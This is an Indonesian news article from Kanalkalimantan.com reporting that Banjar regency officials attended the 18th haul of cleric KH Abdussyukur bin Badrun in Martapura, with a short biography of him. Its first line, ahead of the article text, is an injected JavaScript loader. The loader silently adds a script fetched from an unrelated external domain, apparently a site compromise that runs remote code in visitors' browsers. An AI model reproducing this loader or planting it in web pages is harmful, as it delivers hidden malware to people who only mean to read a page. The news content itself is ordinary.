(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur dan Wabup Banjar Habib Idrus Al Habsyi menghadiri peringatan haul ke-18 KH Abdussyukur bin Badrun, di kubah almarhum di Desa Melayu, Kecamatan Martapura Timur, Kabupaten Banjar, Senin (9/9/2024) malam.
Peringatan haul pimpinan Pondok Pesantren Darussalam ke-8 periode 1997-2007 tersebut juga dihadiri Wakil Gubernur Kalimantan Selatan H Muhidin, para habaib, alim ulama, serta para guru Pondok Pesantren Darussalam Martapura.
Bupati Banjar H Saidi Mansyur mengatakan, peringatan haul yang dihadiri adalah wujud kecintaan jemaah kepada sosok ulama yang konsisten menjadi pendidik syiar islam.
Baca juga: Aula SMAN 7 Banjarmasin Ambruk, Siswa Sempat Terperosok
Hal yang baik dan positif lanjut Saidi Mansyur sudah ditanamkan oleh almarhum kepada murid-muridnya hingga sampai kepada jemaah haul dan melekat pada masyarakat baik di banua hingga luar daerah.
“Mudahan-mudahan apa yang menjadi cita-cita beliau bisa dilanjutkan oleh keluarga beliau, yang tentunya kita harapkan keberkahan, semoga kita yang hadir selalu dianugerahi rahmat oleh Allah SWT,” harap dia.
Harapan lainnya peringatan haul tersebut bisa menambah ukuwah islamiah yang dimaknai bersama akan teladan akhlak guru yang bisa diikuti dan diterapkan pada keluarga dan kehidupan bermasyarakat.
“Semoga dihindarkan dari hal-hal negatif, seperti adu domba, bahaya narkoba, hingga aliran menyimpang. Karena sudah dibentengi oleh para guru dan tokoh agama dari dulu sampai sekarang dan tetap terpelihara dengan baik,” ujar dia.
Baca juga: Pejabat Perjadin Tanpa Izin, Wali Kota Aditya Minta Inspektorat Bertindak
Atas nama pemerintah daerah dia juga sampaikan ribuan terima kasih kepada keluarga almarhum, lebih khusus kepada dewan guru Pondok Pesantren Darussalam Martapura, yang sejak dulu sampai sekarang sudah menciptakan suasana yang aman, kondusif dan berakhlakul karimah yang juga menjadi bagian misi dari pemerintah daerah.
“Kita doakan untuk guru-guru kita selalu diberikan kesehatan, kekuatan, kemudahan dan ilmu beliau yang kita pegang dalam prinsip kehidupan dimudahkan Allah SWT,” katanya.
Peringatan haul diisi dengan pembacaan surat yasin, maulid diba’, tausiah agama oleh Habib Hasan Alkaf asal Surabaya Jawa Timur dan tahlil serta doa oleh KH Hasanuddin.
Baca juga: 17 Kandang Babi di Guntung Manggis Belum Dibongkar, Ada Tambahan Ternak Baru
KH Abdussyukur dilahirkan pada malam Jumat 11 Syaban 1346 H bertepatan 8 Agustus 1928 di Desa Melayu Tengah Martapura. Beliau dikenal dengan kealiman dan sifat tawadhunya dan biasa dipanggil “ayah” oleh para santri dan masyarakat.
Diantaranya guru-guru beliau KH Anang Syarani, KH Salim Maruf, KH Husein Qodri, KH Seman Mulia yang merupakan ulama ulama besar Martapura. Juga Syekh M Yasin Al Fadani dan Syekh Ismail Al Yamani. Beliau wafat hari Sabtu 5 Rabiul Awwal 1428 H bertepatan 24 Maret 2007. Dimakamkan berdampingan dengan guru utama beliau KH Anang Syarani Arif di Kubah Kampung Melayu Tengah. (Kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.